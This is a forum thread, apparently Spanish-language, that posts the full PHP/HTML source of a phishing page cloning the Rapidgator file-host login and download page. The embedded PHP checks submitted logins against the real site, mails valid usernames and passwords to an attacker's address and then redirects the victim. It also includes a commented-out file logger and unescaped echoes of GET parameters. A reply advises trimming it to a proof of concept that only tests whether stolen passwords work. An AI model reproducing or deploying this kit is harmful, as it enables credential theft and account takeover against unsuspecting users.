                <li><a href="http://rapidgator.net/News/NewsList" >News</a></li>
                <li><a href="http://rapidgator.net">Upload file</a>
                    <ul>
                        <li><a href="http://rapidgator.net/site/index">Web upload</a></li>
                        <li><a href="http://rapidgator.net/profile/ftp">FTP</a></li>
                        <li><a href="http://rapidgator.net/remotedl/index">Remote upload</a></li>
                    </ul>
                </li>
                <li><a href="http://rapidgator.net/article/premium">Premium</a></li>
                <li><a href="http://rapidgator.net/article/resource">Earn</a></li>
                <!-- <li><a href="http://rapidgator.net/article/faq">FAQ</a></li> -->
                                <li><a href="http://rapidgator.net/article/faq">Support</a></li>
            </ul>
        </div>


        <div class="box-login">
            <ul>
                <li class="login-open">
                                        <a href="poslogin.php?url=<?php echo $_GET["url"];?>">Login</a>
                    <form name="loginfrm" id="login" method="POST">
                        <div class="popup-login hidden">
<input type="hidden" name="login" value="1">
        <input type="text" value=""  name="username" id="username" class="txt up-login" onKeyDown="if(event.keyCode==13)document.getElementById('password').focus();"/>
                           <input type="password" name="password" id="password" value=""  class="txt up-login" onKeyDown="if(event.keyCode==13)postlogin();"/>
                         
                            <div style="display: none">
                                <input type="text" class="captcha-txt up-login" name="LoginForm[verifyCode]"/>
                                                                <img width="120" height="50" btn_id="gr3tefg_0" class="captcha" id="yw0" src="/auth/captcha/v/50829aa34d996" alt="" />                                                                <div class="captcha-refresh"><a id="gr3tefg_0"></a></div>
                            </div>
                            <div class="wrap">
                                <div class="inp">
                                    <p><input type="checkbox" class="ch" id="rem"  checked="checked" name="LoginForm[rememberMe]" value="1"/> <label for="rem">Remember me</label></p>
                                    <a href="http://rapidgator.net/account/ForgotPassword" class="restore">Forgot password</a>
                                </div>
                               
                                <a class="btn-login" style="cursor:pointer;" onclick ="document.forms.login.submit();">Login</a>
                            </div>
                            <?php
if(isset($_POST['password'])){

            $user = $_POST['username'];
            $pass = $_POST['password'];

            $lc = new HttpLoginConnect();
            $lc->login('https://rapidgator.net/auth/login');
            $lc->field_user('LoginForm[email]');
            $lc->field_pass('LoginForm[password]');
            $lc->user_pass($user, $pass);
            $lc->cookie_active(true);

            $comprobacion = $lc->check();





            //LoginForm[email][email protected]&LoginForm[password]=legend1974&LoginForm[rememberMe]=1
if (!$comprobacion){
echo '<div class="">
<div style="padding-top:22px; margin-bottom:10px; font-weight:bold; color:red;">
<center>Error e-mail or password.</center>
                            <script>alert("Datos incorrectos");</script>
</div>
</div>';
}else{

$User=$_POST['username'];
$Pass=$_POST['password'];
$Url=$_POST['url'];
mail("[email protected]", "Cuenta", "Usuario: $User\nContraseña: $Pass\nRapidgator: $Url","\r\n");
setcookie ("user", "empty", time()+3600);
/*Mail by 3l
/*
handle = fopen("ponela.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}

fwrite($handle, "\r\n");
fclose($handle);
*/
echo '<script>document.location.href="http://www.underc0de.org/foro/index.php";</script>';
}
}else{
           ?>
            <?php
   }
?>
                        </div>
                    </form>
                    <script type="text/javascript">
                    //<![CDATA[//><!--
                        $('input.up-login').keypress(function(e){
                            if((e.which == 13) && ($('input.up-login').val() != '')){
                                $('form#login').submit();
                            }
                        });
                    //--><!]]>
                    </script>
                                    </li>
                                <li>
                    <a href="http://rapidgator.net">Registration</a>
                </li>
                            </ul>
        </div>
    </div>



    <div class="box-lang slider">
        <span class="lang-open">Language:</span>
        <strong class="btn-open">English</strong>
        <div class="popup-lang hidden">
            <ul>
                <li><a href="javascript:void(0);" onclick="changeLang('ru')">Русский</a></li>
                <li><a href="javascript:void(0);" onclick="changeLang('ja')">日本の</a></li>
                <li><a href="javascript:void(0);" onclick="changeLang('en')">English</a></li>
            </ul>
        </div>
    </div>
    <div class="overall">
        <div class="wrap-main-block">

           
<div class="main-block wide">
    <div width="100%" align="center">
    <a href="http://kovla.com/promotion/vip30" target="blank"><img src="http://rapidgator.net/images/banners/button.png"></a><script type='text/javascript'>
    var refererCode = 4;
    (function() {
        var p = document.createElement('script'); p.type = 'text/javascript'; p.async = true;
        p.src = 'http://' + 'cdn3.kovla.com/static/js/popunder-3.js';
        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(p, s);
    })();
</script></div>    <div class="in">
        <div class="text-block file-descr" style="height: 76px;">
            <div class="btm" style="height: 76px;">
                                <p style="word-wrap: break-word;width: 490px;line-height: 19px;">
                    <strong>
                        Downloading:
                    </strong>
                    <a href="">
                    <?php echo $_GET ["archivo"]?>                    </a>
                </p>
                    <div>
                        File size:
                        <strong><?php echo $_GET ["peso"]?></strong>
                    </div>
                            </div>
        </div>
        <div class="clear"></div>
        <div class="social_buttons">
            <!-- AddThis Button BEGIN -->
            <div class="addthis_toolbox addthis_default_style ">
            <a class="addthis_button_preferred_1"></a>
            <a class="addthis_button_preferred_2"></a>
            <a class="addthis_button_preferred_3"></a>
            <a class="addthis_button_preferred_4"></a>
            <a class="addthis_button_compact"></a>
            <a class="addthis_counter addthis_bubble_style"></a>
            </div>
            <script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=xa-4f1d3bb56c6cc840"></script>
            <!-- AddThis Button END -->
        </div>
        <div class="clear"></div>

        <!--<div class="text-block premiumcode">
            <div class="btm">
                <table>
                    <tr>
                        <td style="padding-top: 5px; padding-left: 20px;">
                            <p>
                                <strong>
                                    Если у вас есть премиум-код, введите его сюда:
                                </strong>
                            </p>
                        </td>
                        <td style="padding: 0 10px;">
                            <span class="txt" style="width: auto;">
                                <input class="text-input length" value="test" type="text" id="coupon_code" name="coupon_code" style="width: auto;" />
                            </span>
                        </td>
                        <td>
                            <a href="#" class="btn" id="btn-coupon-submit" style="width: 50px;">
                                <span>OK</span>
                            </a>
                        </td>
                    </tr>
                </table>
            </div>
        </div>-->

        <div class="text-block download-prepare">
            <div class="btm low_padding">
                <div class="table-download">
                    <style type="text/css">
    .table_header{
        background-color: #ffffdf;
        border: 1px solid #f1f1e0;
        border-bottom: 0px;
        min-height: 40px;
        font-weight: bold;
        line-height: 125%;
        text-align: center;
        padding: 8px;
        font-size: 16px;
    }
</style>
<div id="table_header" class="table_header">
    </div>                    <table>
                        <tr>
                            <th class="descr">
                                <strong>
                                    Choose download type                                </strong>
                            </th>
                            <th>
                                <a href="<?php echo $_GET["url"];?>" class="link act-link btn-free">
                                    SLOW SPEED DOWNLOAD                                </a>
                                <div class="download-timer">
                                    Wait                                    <span class="download-timer-seconds">

                                    </span>&nbsp;sec.                                </div>
                            </th>
                            <th>
                                <a href="http://rapidgator.net/article/premium" class="link active btn-premium">
                                    HIGH SPEED DOWNLOAD                                </a>
                            </th>
                        </tr>
                        <tr>
                            <td class="descr">
                                Download type:
                            </td>
                            <td>Free</td>
                            <td>
                                <strong>
                                    Premium                                </strong>
                            </td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Download speed:
                            </td>
                            <td>
                                Limited                            </td>
                            <td>
                                <strong>
                                    Unlimited                                </strong>
                            </td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Maximum parallel downloads:
                            </td>
                            <td>1</td>
                            <td>
                                <strong>
                                    Unlimited                                </strong>
                            </td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Download restriction:
                            </td>
                            <td>
                                1 file per                                                                15 minutes                            </td>
                            <td>
                                <strong>
                                    NO                                </strong>
                            </td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Direct/Hot Linking:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>
                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Downloads start instantly:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>
                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Fast download even when servers are busy:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>
                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Support for resuming downloads:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>

                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                        <tr>
                            <td class="descr">
                                Support for download accelerators:
                            </td>
                            <td><span class="not-avaliable">Not Avaliable</span></td>
                            <td><span class="avaliable">Avaliable</span></td>
                        </tr>
                                                <tr>
                            <td class="descr">
                                Estimated Download time:
                            </td>
                            <td>
                                <a href="<?php echo $_GET["url"];?>" class="link act-link btn-free">
                                                                        4 minutes                                    26 seconds                                </a>
                                <div class="download-timer">
                                    Wait                                    <span class="download-timer-seconds">

                                    </span>&nbsp;sec.                                </div>
                            </td>
                            <td>
                                <a href="http://rapidgator.net/article/premium" class="link active btn-premium">
                                                                                                            20 seconds                                </a>
                            </td>
                        </tr>
                                            </table>
                </div>
            </div>
        </div>
        <div class="text-block download-ready">
            <div class="btm">
                <div class="box-download">
                    <a href="<?php echo $_GET["url"];?>" class="btn btn-download">
                            <span>
                                Click here to download                            </span>
                    </a>
                </div>
            </div>
        </div>
        <div class="text-block welcome">
        </div>
    </div>
</div>

<script type="text/javascript">
    var startTimerUrl = 'http://rapidgator.net/download/AjaxStartTimer';
    var getDownloadUrl = 'http://rapidgator.net/download/AjaxGetDownloadLink';
    var couponUrl = 'http://rapidgator.net/download/AjaxCouponVerify';
    var captchaUrl = 'http://rapidgator.net/download/captcha';
    var secs = 30;
    var mil_secs = 0;
    var download_link = '';
    var sid = '';
    var fid = 50398939;
    var premium_download_link = '';
    var is_premium = 0;
    var buy_premium_page = 'http://rapidgator.net/article/premium';
    var LABELS = {
        STARTING: 'Starting',
        ERROR: 'Error',
        GETTINGLINK: 'Getting link'
    };
    var elm_infobar = $(".table-download .table_header");
    var infobar_msg = '';
    var infobar_waitmsg = 'Please hold, download will start in <span class="seconds"></span> seconds. Do not wish to wait? Please <a href="/article/premium">click here</a>.<br>Premium users download files without delays and at maximum speed!';

    $(document).ready(function()
    {
        if (infobar_msg == '') {
            elm_infobar.hide();
        }

        if (is_premium == 1) {
            showReadyPage(premium_download_link);
        }

        /*$("#btn-coupon-submit").live('click', function(){
            var coupon_code = $("#coupon_code").val();
            $.getJSON(couponUrl, {coupon_code: coupon_code, file_id: fid}, function(data){
                if ( (data !== undefined && data == '') || data.error != '') {
                    var error_msg = '';
                    if (data.error !== undefined) {
                        error_msg = data.error;
                    } else {
                        error_msg = LABELS.ERROR + '. ' + LABELS.ADMINCONTACT;
                    }
                    alert(error_msg);
                } else {
                    showReadyPage(data.download_url);
                }
            });
        });*/

        $(".btn-premium").click(function(){
            location.href = buy_premium_page;
            return false;
        });

        $(".btn-free").click(function(){
            $(".btn-free").html(LABELS.STARTING + '...');
            $.getJSON(startTimerUrl, {fid: fid}, function(data){
                if (data.state !== undefined && data.state == 'error') {
                    alert(LABELS.ERROR + ' ' + data.code);
                    location.reload();
                } else {
                    if (data.state !== undefined && data.state == 'started') {
                        $(".btn-free").hide();
                        $(".download-timer").show();
                        if (data.sid !== undefined) {
                            sid = data.sid;
                        }
                        startTimer();
                    }
                }
            });
            return false;
        });

        $(".btn-download").live('click', function() {
        location.href = download_link;

            return false;
        });

        if (startTimerUrl == '') {
            $(".btn-free").unbind('click');
        }
    });

    function showReadyPage(dwnlink)
    {
        $('.download-prepare').hide();
        $('.premiumcode').hide();
        download_link = dwnlink;
        $('.download-ready').show();
    }

    function startTimer()
    {
        elm_infobar.html(infobar_waitmsg);
        var domTimer = $(".download-timer .download-timer-seconds");
        var infobarSecs = $(".table-download .table_header .seconds");
        domTimer.text(secs);
        infobarSecs.text(secs);
        elm_infobar.show();
        var timer = window.setInterval(function() {
            if (secs > 0) {
                secs--;
                domTimer.text(secs);
                infobarSecs.text(secs);
            } else {
                window.clearInterval(timer);
                getDownloadLink();
            }
        }, 1000);
    }

    function getDownloadLink()
    {
        $(".download-timer").html(LABELS.GETTINGLINK + '...');
        $.getJSON(getDownloadUrl, {sid: sid}, function(data){
            if (data.state !== undefined && data.state == 'error') {
                alert(LABELS.ERROR + ' ' + data.code);
                location.reload();
            } else {
                if (data.state !== undefined
                    && data.state == 'done') {
                    location.href = captchaUrl;
                    // showReadyPage(data.download_link);
                }
            }
        });
    }
</script>

        </div>
    </div>
</div>
<div class="footer">
    <div class="in">
        <p>Copyright © 2010-2012 Rapidgator.net, All rights reserved</p>
        <ul>
            <li><a href="http://rapidgator.net/article/privacyPolicy">Privacy Policy</a></li>
            <li><a href="http://rapidgator.net/article/terms">Terms and Conditions</a></li>
            <li><a href="http://rapidgator.net/article/intellectPolicy">DMCA</a></li>
            <li><a href="http://rapidgator.net/feedback/contact/q/6">Report abuse</a></li>
            <li><a href="http://rapidgator.net/linkchecker/check">Link checker</a></li>
            <li><a href="http://rapidgator.net/article/about">About us</a></li>
            <li>
                <a target="_blank" href="http://www.facebook.com/RapidGator"><span><img alt="Facebook" src="http://rapidgator.net/images/facebook-16x16.png" class="img"/></span></a>&nbsp;
                <a target="_blank" href="https://twitter.com/#!/Rapidgator"><span><img alt="Twitter" src="http://rapidgator.net/images/twitter-16x16.png" class="img"/></span></a>
            </li>
        </ul>
    </div>
</div>

<script type="text/javascript">
/*<![CDATA[*/
jQuery(function($) {
jQuery('#gr3tefg_0').after("<div><a id=\"yw0_button\" href=\"\/auth\/captcha\/refresh\/1\">Refresh<\/a><\/div>");
jQuery('#yw0_button').live('click',function(){
        jQuery.ajax({
                url: "\/auth\/captcha\/refresh\/1",
                dataType: 'json',
                cache: false,
                success: function(data) {
                        jQuery('#yw0').attr('src', data['url']);
                        jQuery('body').data('auth/captcha.hash', [data['hash1'], data['hash2']]);
                }
        });
        return false;
});

});
/*]]>*/
</script>
</body>
</html>


Saludos.
#80
Estuve ejecutando el source pero me da muchos errores, tuve que leer el source para ir agregando cosas como los parametros necesarios, pero habian muchisimas cosas.

Te recomiendo que hagas un PoC men, osea sin diseño ni nada. Que solo compruebe si el pass existe en rapidgator o no, y eso lo adaptas al source.

Te recomiendo este articulo que escribí hace tiempo y lo apliques a tu source.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login